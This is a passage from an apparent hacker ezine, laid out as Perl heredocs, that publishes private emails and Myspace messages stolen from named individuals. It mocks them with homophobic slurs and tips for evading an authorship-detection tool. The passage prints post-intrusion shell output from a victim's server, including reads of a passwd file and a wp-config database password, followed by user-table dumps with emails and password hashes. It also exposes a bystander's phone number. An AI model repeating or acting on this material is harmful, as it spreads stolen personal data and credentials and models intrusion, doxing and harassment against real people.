to undermine an entire relationship, which, lets face it, this is doing.

I don't have any complaints at all about what goes on whenever stuff does
happen, but maybe if you were nicer to me it wouldn't bother me that it'
s not as often. Seeing as I'm being seriously honest here, whenever we
start anything I never know from the beginning whether you're even going
to
 come near me or not during it. Maybe if that were different it wouldn't
bother me so much how often it was, but I'm not allowed say that cos then
 you get all 'unrelaxed' and accuse me of pressuring you. I can't really
win.

Doesn't matter any more anyway. Like I said, your call. We've tried to fix
this so many times and I have no energy left for it. We can either leav
e it altogether, or I'll just accept thing as they are and won't ever ask
any questions about whatever else goes on. Because I love you enough to 
make THAT sort of a compromise.

I'm not supposed to have to say this, it's something you're supposed to
work out for yourself. But this is so easily fixable, it's just not me tha
t can do it any more. So the ball's kind of in your court.

Love you though x

----------------- Original Message -----------------
From: PSG
Date: 02 Mar 2007, 14:27


> Look, I don't know exactly what's going on right now.

Nothing is going on - I am very stressed about work and that about it.
Unless there is something going on with you that you haven't told me
about?

^^^^^ I thought you were over your problem?

> All I'm asking for is the same thing that every other girl in the world
wants....a nice bloke, who like her, and who'll occasionally do nice thi
ngs like cook, who doesn't think any sort of physical intimacy with her is
the worst thing in the world, and generally just wants to be with her.

You have a nice bloke - who do you know who is as nice as me? Who loves
you and will do anything you ask him to do. I don't think physical intmacy
 is the worst thing in the world - saying that is just stupid - sometimes
I just want a hug and to sit and TALK with you thought, because I love y
ou... I do want to be with you; I am running out of ways to explain that
to you.

^^^^^ I think we've found ourselves a FAGGOT

> I thought we had all that, except for one thing. And I can usually deal
with that. I don't understand it, and it upsets me, but I can deal with 
it as long as it isn't brought up and constantly rubbed in. You know this
cos we really had a nice few weeks. And that's cos I love you enough to 
let that one stupid thing go, cos I kept thinking one day we'd fix
it...either when we left your grandad's, or when I moved job, etc.

There is nothing to fix. I love you I fancy you, if you stopped worrying
about it for 10 mins then it would be fine, as it is I feel under pressur
e; it need not be like that at all.

^^^^^ I think she thinks there is something to fix. Like...your sex life!

> But today I'm sitting here feeling the worst I think I have felt since
I've been with you, cos I don't understand how me getting upset about one
 such basic thing which you keep telling me is fixed anyway can result in
you being so upset and having such a go at me, it doesn't seem very fair
.

I was not upset. That was well beyond my control. I did not want that to
happen did I? And I never had a go at you; I just need you to understand.

^^^^^ I'm not beating you, I'm just making you understand!

> If the very thought of having to come near your girlfriend makes you as
unhappy as you were last night, then maybe you need to find yourself ano
ther girlfriend.

That's ridiculus. I don't want anyone else; and I got upset because you
shouted at me for going to turn the heating off. Nothing to do with coming
 near you which I quite wanted to do at the time before you screamed at me
in front of Adrian.

> I just hate feeling like this. I'm not the most unattractive person in
the world,

You're beautiful.

>and I'm not the worst girlfriend,

I am far from the worst boyfriend.

^^^^^^^^ Stick up for yourself when you don't need to, huh?

> and I hate that last night you were so upset,

I don't know why that happened.

> when I'm sure there's a thousand other girls who have done a thousand
times worse. And yet Charlotte just took me shopping to try and cheer me u
p and I ended up in tears in a changing room cos some stupid pair of
trousers didn't fit, and that's not what I do.

Being as upset as last night isn't generally what I do either.

> I know you need to relax before we can be okay, but I've tried so hard
to help you do that, and it hasn't got anywhere, and now I'm so paranoid 
that I can't relax either, and I need fixing,

That's what I am good for.

^^^^^ Apparently not.

> and you'd rather leave me or let me leave, because that's how much you
don't wanna come near me.

That is not true at all.

^^^^^ It's worse than we thought. psg has straight-sex-aphobia.

> Basically I'm saying this can't be fixed through trying to make each
other relax, cos I'm not in a position to try and relax you any more, and
I
'm pretty sure that you're not going to try and relax me...as you've said
yourself, if you don't want to you're not going to.

Point taken. I will do my best; I am sorry ok? :(


> We either completely leave this whole sex thing, to the point where if
you wanna sleep with other people thats fine, I just don't wanna know abo
ut it, or we just leave the entire thing. Your choice.

I don't want anyone else.

xxx 


------------------------------------------------------------------
maria -> psg
Just in case you were about to reply to that last message, please don't
bother. I've just been really sick, I'm completely exhausted, and my head'
s just fuzzy, I don't wanna talk to argue or anything any more.

I'm going to come straight home after work, have a shower, get changed,
etc. If I feel any better, I'm going to go to the pub, you're more than we
lcome to either come or go out with your friends. If I don't, I'm just
going to go to bed and hope I wake up tomorrow feeling okay. Likewise,
don'
t feel obliged to stay with me if you wanna go out or whatever.

I'll see you at half five. Any vaguely nice response to this would be
appreciated. 

########################################

I do feel sorry for Maria, and sincerely hope the two of them live happily
ever after. She sounds ever so nice.

Unfortunately here's where we show you what psg would rather be doing with
his time:

########################################

I love you Mark. If you were a girl, you would be mine.

----------------- Original Message -----------------
From: PSG
Date: Feb 19, 2007 11:13 AM


If your intentions are that of the light then you hinder not - you nor I
see the full consequences and benefits of our actions, all we have to do 
is that which we feel is right.

You emotions are you ally - not your enemy.

If they get involved, enjoy the moments.

Life is but a series of moments; how you remember them, and ultimately it
is a choice you can make.


Realistically what do you have to fear?

There is nothing stronger than what you have right there in your soul.

Relax.

It's fun.


--------------------------------------------------------------------------
-------------------------------------------

True. But sometimes I help and I hinder, and when I hinder I help. That is
still the tricky part, and not considering my emotions sometimes get in
volved. Natural right? I hope I do right then, but fear is the mind
killer.

----------------- Original Message -----------------
From: PSG
Date: Feb 19, 2007 5:09 AM



Do what comes naturally. Nothing more.

Help those who cannot help themselves.

It -is- your responsibility.

That's the heart and center of it.

Heart, soul and center. 

########################################

Do not be fooled: Those above messages were sent to A MAN.

psg is having problems expressing himself to his girlfriend and getting in
bed with her...

but maybe he's just trying to win over this gent?

Next up, his first gay experience (just before the first issue with his
girl)

########################################

From: PSG
Date: Dec 15 2006 1:23 AM



It says if eyes sting or burn see a doctor.

That's a bit extreme so i just won't use it again :/

I washed my eye out.

It feels a bit better.

:X 

########################################

Thank you thank you, we'll be in town all week.

On a serious note, we decided to, yah know, well...not rm everything.

This shouldn't seem like much of a surprise, because we don't do much
rming to begin with.

But psg was so tempting. You just know that even after getting owned
they'll lie about it. Hard to do that when you've got a big void where 
all your websites used to be. That was the nice thing about seeing 
hakspace defaced.

However, we're friendy, helpful hackers. We are an educational zine! 
There are about three dozen clueless 13 year old talentless virgin php 
coders out there who buy into these guys, and we hope some day they will 
grow out of it peacefully. But that's just a joke, not a real reason to 
not rm whitedust.

These guys are hurting themselves. They are crashing and burning, step by
step. They had a bit of success when they first started and were modest 
in their content, and when slashdot didn't yet know not to link to their 
articles. But they've got worse and have also been slowly discovered as 
the frauds they are, by many people. According to them, 2007 has held
many more hits than 2006, but if that is true then it's just a sign of
being known, while underneath that topsoil the hollow hole that forms their 
content base continues to widen.

"Never interrupt your enemy when he is making a mistake." 
- Napoleon Bonaparte

I personally would rather watch Whitedust crumble and die entirely through
its own lack of quality, in a slow and painful death that depresses psg, 
instead of taking it out and giving him an out.

But that's just my opinion, not necessarily yours. I'm not one to tell
others what to think...

These guys know nothing about security, and have nothing of quality to 
contribute, yet they are trying to plagarise and create security news.

If they do get better and survive, then good for them. The system works,
and we have once again done our jobs as internet superheroes.

UPDATE: psg quit. Congratulations to Whitedust, psg, and everyone else!
        Now we await Cronus quitting.

EOWHITEDUST
);}




sub Unmaskunmask { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; say($self, <<'EOUNMASK'

unmask.py blows.

The code is shit. Considering that it is only one of seven sources listed
on http://www.immunitysec.com/resources-freesoftware.shtml, and that the
others are mostly Python too, we can reasonably conclude that Dave Aitel
codes like shit. Maybe if you pay for non-free software from Dave Aitel
you will get something better.

"By releasing tools, such as these, we hope to demonstrate our knowledge
leadership, and give back to the security community as a whole."

It is horribly incomplete and doesn't do all the things it says it does.
You are better off entirely ignoring the comments Aitel wrote, because
they are LIES. How could he give this a 1.0 version number? It isn't even
0.1 unless you're living in the 90s.

Here's how it actually gets a score from two stores:

---
Take the 100 most common words from both and compare. Add the amount that
match. So, that's a possible 100 points.

Take the 100 most common (continuous or non-continuous) doubles in
sentences (where the phrase "I like dogs. I am." would form doubles of "I
like", "I dogs", "like dogs" and "I am"). Add the amount of those that
match.

Do the same for triples.
---

So you have a highest possible score of 300. Don't be fooled into thinking
scores are a percentage.

It entirely ignores punctuation, sentence length, and other things he said
were used.

Now, take me for example. I try to write short sentences using simple
words. So my singles list is packed with words that are less than five
chars long. These, from two texts, match at a ridiculous rate. Look at
this paragraph itself, words including "take me for I try to write words
so my list is with that are less than from two at a", most of those 20+
words will be in my most common word lists in both texts.

Then take the doubles and triples. It would make a bit of sense if it was
only continuous words, but it isn't. So in anything except for very short
sentences, all the doubles list suggests is, again, your most common
words. My doubles list would be full of combinations of the above example
short words.

It's basically taking how similar your basic vocabulary is and multiplying
that by three.

----


Here are some ideas to cause unmask fun:

In one text, write always with "I", and in the other always write with
"we". Use very short sentences. That will leave your singles almost the
same but will destroy your doubles and triples values, so you should be
able to drop your score 10 points in a bad situation and much much more if
your sentences are short enough.

Misspell common words and they will be cut out of the results, lowering
your scores in general.

See, Aitel was a dumbass and decided to not match words that aren't words.
I can understand how he wants to remove non-text data, but even if he just
held onto text that matched something like /\b[a-z]{5,}\b/ he could catch
a lot of words that are spelt wrong and would increase the accuracy of his
script. Unfortunately, regex is probably a bit too much for Aitel in
general.

Ever wonder why it takes so long to build such massive stores? Ask
yourself, did Dave Aitel think to just store the most common 100 keys of
his lists (the data he actually uses), or did he decide to store 
everything?

Ask yourself, if I add one word to a sentence, although that will create
just one more single item, how many more doubles and triples will it
create? Could I possibly make unmask.py hang for half an hour and take up
50mb with just a short essay that lacks punctuation?

----

It is interesting that the script works pretty well. The reason is does so
is because vocabulary does mean a lot. By compounding it he expands the
differences between different people. The more you match, the more your
score will increase by in a non-linear way. So even though X writes good
english fairly similar to mine, the small differences may account for
25-40 points. On the other hand Y writes with entirely different english
that I do, and might sit just 50-60 points back of me. For example with a
certain small text of mine as a baseline, another writing by myself got
about 85, one by X got 62, and one by Y got about 45. So even though X
writes much more like I do than like Y does, his score is closer to that
of Y in comparison to me.

Something to note is that there are some really obvious words, like "a",
"the", "I", etc, that everybody will use, and thus common doubles (not so
much triples, but still some), so any two people comparing each other
should get something like a 20 score basically by default. So subtracting
that from the above, it's like I had 65, X had 42, and Y had 23. The small
differences between X and I still lead to such a big variation because of
the non-linear function that makes comparisons: I don't just have more of
the same words, I thus have more of the same doubles and triples. The fact
that X got that close to me (64% of my score), even after subtracting an
arbitrary default value of obvious words, is a testiment to just how
comparable the rest of our basic vocabulary is.

People with english as a second language, even if writing technically
proper english, may rely on specific words a lot and completely avoid
other obvious ones (like 'got' for 'have', or so). So they could match
themselves extremely well and match others very poorly.

So here are some good and accurate excuses if some random guy matches you:

- unmask.py is crap
- Two people with a strong command of english who use a lot of
  conjunctions and common verbs with ease could have a very strong
  correlation.
- People that have a very limited vocabulary will have their top100 lists
  padded by less common words, and will match less in general.
- By knowing and using a mass of small words at the expense of long words,
  you increase your match potential in general.
- Most of the long/odd words used won't make it into the top 100 lists
  that are used for comparison.
- Vocabulary testing is a good idea for people of different nationalities
  and education levels, but for people of the same ones, it's very cheap.
- This is entirely vocabulary, and doesn't even test that, just compares
  the most popular words.

EOUNMASK
);}




sub Clpwn { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; own($self, <<'EOCLPWN'

Well, these kids hit the scene very recently. Whilst we appreciated their
belittling of whitedust/cronus, we do not appreciate some of the shit they
are pumping out, especially regarding the full disclosure mailing lists,
talking shit in IRC and the general way they write their blogs.

Some of the blogs and quotes you can dig up on their site actually made us
question whether the site is a joke. We decided to put those thoughts to
the back of our mind and own them anyway.

These guys talk about XSS like its an OpenSSH remote root. Lets take a
peak at some lol quotes.

##Quote 1##
In the early hours of Monday August 13th, the servers of CNN International
were hit by a devastating cross-domain injection attack by a group of
blackhat hackers identifying only themselves by the mysterious acronym
'CLPWN'.

<ZF0 Translation> 
----> devastating cross-domain injection attack -> XSS
----> blackhat hackers(CLPWN) -> media attention seekers

##Quote 2##
"Experts say that the hacking group, funded by unknown sponsors and with
no official spokesperson or representative in the media, appears to be
highly sophisticated and dedicated to attacking only high profile and
popular web sites."

<ZF0 Translation>
-----> Experts -> wtf? CLPWN writes these blogs themselves :/
-----> highly sophisticated....in the art of ./xss_fuzz

##Quote 3##
"Industry insiders state that Team CLPWN may be a loose coming together of
some of the world's most notorious blackhat hacker groups, and that the
skills and capabilities of such a group are unlikely to have ever been
seen before in the security and hacking worlds."

<ZF0 Translation>
-----> Not needed here really, this is universal in all languages...pure
and simple LOL material.

We are not actually sure if this site is a joke. If it's not then we have
just owned some truly mixed up kids. Attention CLPWN: Blackhats don't post
bugs. Fair play for giving Cronus shit, but you need to be set straight,
stop posting to FD, stop seeking the media and finally stop writing about
yourselves like you owned Bill Gates with one of your el8 XSS's.

I guess its tim'e to drop some of these bitches' dox :)

$ uname -a
Linux assmule.apisnetworks.com 2.6.22.1 #3 SMP Fri Jul 20 16:28:51 EDT
2007 i686 i686 i386 GNU/Linux ##up2date

Who's around?
$ w
11:57:11 up 24 days,  9:25,  1 user,  load average: 1.36, 0.86, 0.69   
USER	 TTY	  FROM		    LOGIN@   IDLE   JCPU   PCPU WHAT
root	 pts/4	  mrchainsaw.apisn 00:36    1:06m  0.18s  0.18s -bash

Who calls this shithole home?
$ cat /home/virtual/site177/fst/etc/passwd
clpwn:x:683:683:clpwn.com:/home/clpwn:/bin/bash
root:x:0:0:root:/root:/dev/null
sshd:x:74:74::/var/empty/sshd:/dev/null
apache:x:48:48::/var/www:/dev/null
mail:x:683:683:mail:/var/spool/mail:/dev/null
postfix:x:101:101:postfix:/var/spool/postfix:/dev/null
nobody:x:99:99:nobody:/usr/share/empty:/sbin/nologin
mysql:x:100:100::/var/lib/mysql:/dev/null
tomcat4:x:88:88::/home/tomcat4:/dev/null
majordomo:x:683:683:Majordomo List Manager:/usr/lib/majordomo:/dev/null
ftp:x:683:683:ftp:/home/ftp:/bin/bash
smmsp:x:51:51::/var/empty/smmsp:/dev/null  
bhs:x:23169:683:blackhatscan:/home/bhs:/bin/bash
jf:x:23194:683:jason f:/home/jf:/bin/bash
bpzp:x:23195:683:bpzp th4 clpwn:/home/bpzp:/bin/bash

$ cat /home/virtual/site177/fst/var/www/html/wp-config.php
// ** MySQL settings ** //
define('DB_NAME', 'clpwn1');	// The name of the database
define('DB_USER', 'clpwn');	// Your MySQL username
define('DB_PASSWORD', 'p4ssw0rd'); // ...and password ##ELEEEEET
define('DB_HOST', 'localhost');    // 99% chance you won't need to change
this value

Lets check out some databases :p

LOCK TABLES `jos_users` WRITE;
/*!40000 ALTER TABLE `jos_users` DISABLE KEYS */;
INSERT INTO `jos_users` VALUES
(62,'Administrator','admin','bhs@blackhatscan.com','f0d5299cdda6b67fa0e98a
4000c823b0','Super Administrator',0,1,25,'2007-08-02 12:11:48','0000-00-00
00:00:00','','');
/*!40000 ALTER TABLE `jos_users` ENABLE KEYS */; 
UNLOCK TABLES;

/*!40000 ALTER TABLE `wp1_users` DISABLE KEYS */;
INSERT INTO `wp1_users` VALUES
(1,'admin','dae5b0305ece675094ca81b97078855b','admin','clpwnblog@clpwn.com
','http://clpwn.com','2007-07-08 20:22:58','',0,'clpwn');
/*!40000 ALTER TABLE `wp1_users` ENABLE KEYS */;
UNLOCK TABLES;

INSERT INTO `wp_users` VALUES
(1,'cadmin','2a9d119df47ff993b662a8ef36f9ea20','admin','dropstatd@gmail.co
m','','2007-08-12 06
:55:07','',0,'team
clpwn'),(2,'bpzp','c62d929e7b7e7b6165923a5dfc60cb56','bpzp','bpzp@clpwn.co
m','http://clpwn.com','2007-08-12 12:54:07','',0,'bpzp');

LOL THAT MD5 = p4ssw0rd LOL

I'll keep this short and sweet, CLPWN, stop releasing shit. Keep your xss
warez to yourselves, because in the words of John Bambenek "you are boring
us".

EOCLPWN
);}




sub Interlude { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; say($self, <<'EOINTERLUDE'


My compliments; you have completed about half of the content. That 
is, unless you just skipped ahead, in which case you can screw off. 

You might want to get some sleep before delving into the next half. 
Or at least get some food and take a shit.

Entertain yourselves with some hacker trading cards.


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Now on with the show!

EOINTERLUDE
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sub Mil { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; own($self, <<'EOMIL'


Allow me to detail to you a story about a boy named Julian, aka Milamber,
aka Mil.

Julian decided to play the hacker game on the internet and make lots of
hacker friends. He just had one problem: Julian lacked talent of his own.
This made him a cheap and often annoying hanger-on. However, the internet
tolerated little Julian, because of his common drunken evenings on IRC,
which, if often annoying, at least gave him the image of a bumbling and
likable drunk.

"No skillz just illz"

Since sometime well before we published our first ezine we have had many
password hashes, and among those we had a hash belonging to Mil. This hash
was formed from the password "lightning". This is an embarrassing and
stupid password and in all ways is rather insufficient. We could choose any
method to find the source of that hash. I just...I just cannot get over
how stupid that password was.

But Mil gets dumber! See, when we published our first ezine, we included
that hash among many others. In fact, it was included thrice. Further, we
made specific reference to Mil and to his father (information meant to
signal that we had read through his emails). I did not consider this very
subtle.

Mil did not change his password. Not only did we have access to his emails
and online accounts, but whoever else cared to also did. We publicly
humiliated Mil, and it went right over his ignorant head.

Here are a few lessons to learn from this episode:

1. When an ezine comes out and shocks the scene, check for your presence
   in it. 

	We have devised an elite command for you to use just for this
	purpose:
	grep -i 'mil[amber| ]' ezine.txt
	To use this please open a terminal (if you don't know how please
	ask on IRC) and type that. But if ezine.txt is not in the current 
	directory that won't work quite right! With a bit of asking on IRC
	I am sure you can figure it out. If you find yourself in an ezine, 
	ask yourself if the released information could in any way decrease 
	your security.

2. Do not use passwords like "lightning".

	Seriously, welcome to the internet. You fucking noob.

3. Stay away from hacker forums.

	These could become the targets of real hackers, and you could be
	collateral damage.

Mil has learned, to some degree, some of these lessons.

At some point Mil must have realised that people were reading his emails
(I would have thought the zine would have made it fucking obvious!) and he
changed his password. Now he uses something really elite, compilations like
"U3wc1g9arARR". Passwords like that must make Mil feel HACKER-PROOF. 

Additionally, Mil deleted some of his most embarrassing emails, which we
cannot bring to you here. My favourite was when he poured his heart out to
some emo bint (was that "suicidalbutterfly" or one of the others?) and
got harshly rejected.

So, as you have probably guessed by now (but this may be a shock to little
Julian!) we hacked him again. So, let's get into our sequel.

Mil doesn't really do anything on the internet. In his
milamber.1@gmail.com account he mostly sent out emails along the lines of
cuntrash.txt (see below). Something else that we can only call
"interesting" can be seen at derision.txt below.

His inbox is flooded with Myspace messages (still...). He is most easily
classified as a Myspace whore. The entire point of his online existence is
to try to pick up girls on Myspace. To see an example of him chatting with
an old skank (*you* didn't have to see her picture. Well, maybe you have.
Who knows who else has owned Mil?), check out yumi.txt. 

However, mostly his messages are to or from a lady named Cassie.
Evidently, while not producing anything to speak of, all Mil has done in
the last year online is try to get with this girl. And for being a girl
that has supposedly had a boyfriend for five years, she sure does flirt
back. I think these two should stop fucking around and start fucking
around, if you get my meaning (because Mil probably won't :-P). 

To see some examples of him chatting with Cassie, read flirt.txt,
honour.txt, and stud.txt. Any of you that know Mil and have watched him not
code, not learn, and not do shit this year, know now that this is what he
has been putting his efforts into. Hundreds of messages with Cassie.

He even gives her a bit of advice about using teh internets and what it
means to try to be hacked! Notice that our simple-minded wanker Julian is
easily satisfied with cheese when people are trying to hack him (see
hack.txt). Let us hope that he eats grilled cheese when reading this, and
maybe he will not mind it so much!

We decided to concurrently release this through Mil's Myspace page,
because we don't think any hackers (reading our zine) take him seriously
anyways. We might as well at least get the message out to the part of
Mil's life that matters to him: Myspace girls. This is actually a little
harsh by our standards (we are nice hackers!) but we still feel ok
considering what other groups might have done in our place. They could
lock him out of all these accounts, deface, spam cruel messages about his
penis size, rm -rf him, heck, who knows what mischief others would do. If
anything, we are too lenient.

See, the reason we are doing this is because Julian called us on. Of all
the people who tried to be our enemies, Mil did so publicly and obviously.
Others were either private or subtle. We don't consider someone an enemy
just because they become jokes in our zine. Most of them were jokes to
begin with. A lot of it is in good fun. Isn't that outrageous? Of all
people, some idiot who has been oblivious to our access to multiple
accounts for over a year is the one telling us that our time is up! Mil
told us that "redemption is coming". Well Mil, that has been a
self-fulfilling prophecy, except it is not happening the way you thought.

By the way, Mil never said that HE would even attempt to attack us. It
would be his big hacker buddies that would do so. See how this has turned
out so far, Julian? No matter how elite your hacker buddies may be, they
will not stop you from being a moron and getting yourself owned.

Instead, Mil has new lessons to learn. He has finally mastered "do not use
'lightning' as a password", we think, but we feel that we can teach him 
more advanced lessons like "do not reuse passwords" and "be careful who 
you accept links from, especially when you are slow on the updating front".

Mil, stay away from hackers. If you could have done so without _doing_
anything or saying anything, you would have been OK. But you just cannot
stop from tempting us (and probably others who are a bit more silent) from
owning you. Just, stay away. Stop pretending to be anything more talented
than a mediocre end user. 

Julian, it is our diagnosis that you are insecure. Do not be dismayed;
together we can have a brainstorming session and potentially reach closure
on some of your issues. Let's talk about your feelings. Then we can
reassess our options bilaterally. But really, until you stop being such a
fucking tool, just don't bring yourself to our attention.

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Cunt rash
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You prepare to shout "h0n0ez!!11!!one" upon joining combat.
You prepare to attack Derision who is already hunting Silent Turkan of the
=
GWA.
> You shout: h0n0ez!!11!!one
tan
Derision is rocked by the bloodcurdling warcry.
Hp: 1833 (1833) Gp: 203 (298) Xp: 19806
Your attitude is now neutral.
>
stab derision
Hp: 1833 (1833) Gp: 206 (298) Xp: 19809
A dull red glow appears around Derision.
You prepare to stab Derision with one of your short swords.
> Hp: 1833 (1833) Gp: 174 (298) Xp: 19995
[Ninjas] Turkan: i need a fucking heal :P
g e
Holy Serakyo The Mystik appears to be checking out all your wounds.
Holy Serakyo The Mystik studies Derision, Holy Serakyo The Mystik,
Decora D'Omega, Takeshi, a boring troll and you.
Queued command: g e
> Hp: 1833 (1833) Gp: 177 (298) Xp: 19998
You start guarding the east exit against everyone.
A strange-looking man goes on about cheese dip before wandering up the
stre=
et.
[Ninjas] Takeshi: rofl
stab derision
Hp: 1833 (1833) Gp: 170 (298) Xp: 20111
You prepare to stab Derision with one of your short swords.
> Hp: 1833 (1833) Gp: 138 (298) Xp: 20276
The dull red glow around Derision becomes wobbling orange.
You launch a powerful attack.  You thrust at Derision with one of your
short swords but his magical shielding absorbs all of the blow.
The wobbling orange glow around Derision becomes bright red.
[Ninjas] Turkan reports that he is near death and clear of mind.
Hp: 1833 (1833) Gp: 141 (298) Xp: 20279
The bright red glow around Derision becomes wobbling orange.
Hp: 1833 (1833) Gp: 144 (298) Xp: 20282
The wobbling orange glow around Derision becomes flickering yellow.
You launch a powerful attack.  You thrust at Derision with one of your
short swords but his magical shielding absorbs all of the blow.
stab derision
You prepare to stab Derision with one of your short swords.
> Hp: 1833 (1833) Gp: 112 (298) Xp: 20461
Holy Serakyo The Mystik appears to be checking out all your wounds.
stab derision
Holy Serakyo The Mystik studies Derision, Holy Serakyo The Mystik,
Decora D'Omega, Takeshi, a boring troll and you.
You prepare to stab Derision with one of your short swords.
> Derision pierces your stomach with one of his elegant stilettos.
Hp: 1774 (1833) Gp: 80 (298) Xp: 20655
[Ninjas] Takeshi: Derision r die now tbh
Hp: 1777 (1833) Gp: 83 (298) Xp: 20658
You launch a powerful attack.  You stab Derision deeply in the neck
with one of your short swords but his magical shielding absorbs most
of the blow.
There is a sudden white flash around Derision.
Silent Turkan of the GWA arrives from the east.
You try to block the exit and stop Derision from leaving east but he
manages to elude you.
Derision leaves east.
  |
  @-@
  |
This is Brother David's house of rest and safety; a warm and pleasant
room with thick walls to block out the sound of the street.  The room
has been decorated according to the strict methods of Fung Shooey:
plump pillows are scattered all over the wooden floor-boards, and the
walls have been painted in pale pastels.  The overall effect is one of
peace.
There is one obvious exit: west.
Brother David is sitting on a hard wooden stool and Derision, Old Man
Mayian and a sad man are standing here.
A colourful sash, three half rotten pumpkins, an ice bucket, a
business card, an information booklet, a slightly rotten pumpkin and a
knife are on the floor.
You pursue Derision east.
A terrible screeching emanates from Old Man Mayian's jar of screaming
mandrake roots.
Derision grins.
say you suck
You say: you suck
> Derision appears to be checking out all your wounds.
Derision studies Derision, Old Man Mayian, a sad man, Brother David and
you=
.
[Ninjas] Takeshi: lame :9
gs need more block or w/e :P
Derision agrees wholeheartedly.
[Ninjas] Althius: need more block or w/e :P
> You feel very tranquil.
Derision waves.
Derision leaves the game.
[Derision leaves Discworld -- needs no introduction]
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[yumi.txt]
awesome, well im going out 2moro with some girls 2 darling harbour and
probably going for drinks later @ the cross. ur welcome 2 join us. 
0405 357 579 > my number. 

yea, i cant handle this double msging business..haha 
sweet dreams... 

p.s grrrrr~ so jealous of u for living in the whitsundays! ur living the
life...thata boy! 

----------------- Original Message ----------------- 
From: Jules 
Date: 18 Apr 2007, 09:24 PM 


Was living in the whitsundays for awhile at airlie beach ... yes, my
character has certainly changed a lot - and still is changing 

It does! let me know if you can think of anything, heh 

I've gotta go, got some things I should do before I go to sleep :) 

Good to hear from you again! 

night xoxoxx 

----------------- Original Message ----------------- 
From: yumi 
Date: Apr 18, 2007 11:22 PM 


u werent in sydney?! where were u then.. 
see, u were hiding somewhere :p 

i think my character has changed heaps. tho i dont really know what i was
like in primary school. i remember u were pretty quite but a nice guy. i
couldnt handle some of the boys but u were quite tolerable~hehe 

ahh, catch up sounds good... 

----------------- Original Message ----------------- 
From: Jules 
Date: 18 Apr 2007, 09:12 PM 


Heh no, I think you've changed a lot 

Haha I've been around ;P 

i wish I didn't come back to sydney though! we should catch up sometime
maybe! 

----------------- Original Message ----------------- 
From: yumi 
Date: Apr 18, 2007 11:11 PM 


hehe, ta~ tho i feel like i look pretty much the same still! 
if i ran into u in the streets at all, i would have had no idea. usually i
can see a glimmer of something i recognise in ppl i havent seen in ages.
isnt it bizarre, after 10 yrs we find each other..* where were u hiding
jules? hehe.. 

----------------- Original Message ----------------- 
From: Jules 
Date: 18 Apr 2007, 09:03 PM 


Haha yeh, well I have changed a lot ;P Usually look a lot different than I
do in any of those pictures as well 

heh yes, you look a lot different as well - all for the better though ;) 

----------------- Original Message ----------------- 
From: yumi 
Date: Apr 18, 2007 11:01 PM 


u know, other than ur face shape, u look totally different to how i
remember u last.. 
*all for the better tho ;) 


----------------- Original Message ----------------- 
From: Jules 
Date: 18 Apr 2007, 08:29 PM 


hehe :) 

haha yeh, myspace is good for that ... That's good! Yeh, I'm really good
as well...Just started a new job fairly recently doing IT stuff for
Zurich! What do you do with yourself? 

----------------- Original Message ----------------- 
From: yumi 
Date: Apr 18, 2007 1:09 PM 


hahaha! oh WOW! 
this is so weird, im finding all these old berowra ppl.. 
im doing great! how r u? what r u up to? 



----------------- Original Message ----------------- 
From: Jules 
Date: 18 Apr 2007, 06:48 AM 


Hey hey ...Yes I did! I remember you...How have you been? 

----------------- Original Message ----------------- 
From: Yumi 
Date: Apr 17, 2007 1:45 AM 


did u go to berowra public?
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[flirt.txt]
Subject:	RE: RE: RE: RE: RE: RE: RE: RE: RE: RE: RE: RE: XOX
Body:	You better not......because i can be quite dangerous :P 

and yes.....really!!! xox 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 11:53 PM 


Haha I saw nothing bad about you 

haha yeh, she scares me, but there's not much she can do except get her b
rother to attack me or something, lol 

oh really?? lol!! 
----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 11:50 PM 


Ohhhh strange hey...well i would hate to hear what you say about me then
:P 

ohh poor belinda - poor little love, probably heart broken - watch your
back 16yr olds can be evil... 

whips and sexual outfits hey.......well i could tell you about mine if you
like!!.......pft, kidding - obviously haha 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 11:48 PM 


Haha yeh I'm helping, but it's less physical work now, nore changing
settings for certain things etc so i can do it from this computer ... Haha
no other girlfriends ;P Only one other person messaging me and they're
strange...haha i fucked belinda off ... Was going to let her down gently,
but it didn't quite happen that way, so I'm pretty sure her love turned to
hate ;P 

The big german girl is still as scary as ever, telling me about her whips
and strange sexual outfits ;P 

----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 11:43 PM 


So are you helping at all slacker? or just msging me and all your other
GF's hehehe...by the way, how is Belinda (was that her name) and the big
German girl hahaha 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 11:35 PM 


No no no!! haha, I'm honoured by your generous donations, supporting my
long road to sobriety!! I really feel like I should be helping more here!
everyone seems to be a bit more relaxed now though which is
good...everything might even be ready for saturday :o 

----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 11:32 PM 


Well if you want to pass up my offer then that is entirely up to you :P 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 11:26 PM 


Haha ok!! I'm afraid I won't be receiving very much money off you =( Only
because 5c per drink isn't very much, of course 

----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 11:18 PM 


Ok well I will give you 5c for every fluid substance no matter what it is
in that you put down and donâ€™t feed to your liver :P 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 11:10 PM 


Wait ... lol ... I've already lost out on 35 cents =( BUT I won't be
drinking cans when I go to the city =( 

----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 11:08 PM 


really? well you guys are getting ripped off! i will send you 5c for every
can you put down tonight and dont drink :P now keep a tally and you could
be a rich boy by the end of the night 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 11:07 PM 


Haha this isn't SA, we don't get money for ours anymore =( erm, not that
my drinking has gotten to that stage yet...erm yes, of course not! 

----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 11:04 PM 


Says he who has to result to collecting cans to feed his alcoholism hahaha


----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 11:01 PM 


haha will do ;P 

haha well the clothes doesn't really worry me that much ...Got too many as
it is :S yeh, the money sucks ... if i wasn't in debt so much and trying
to save it would be justifiable ... but as it is, well ... haha damn me
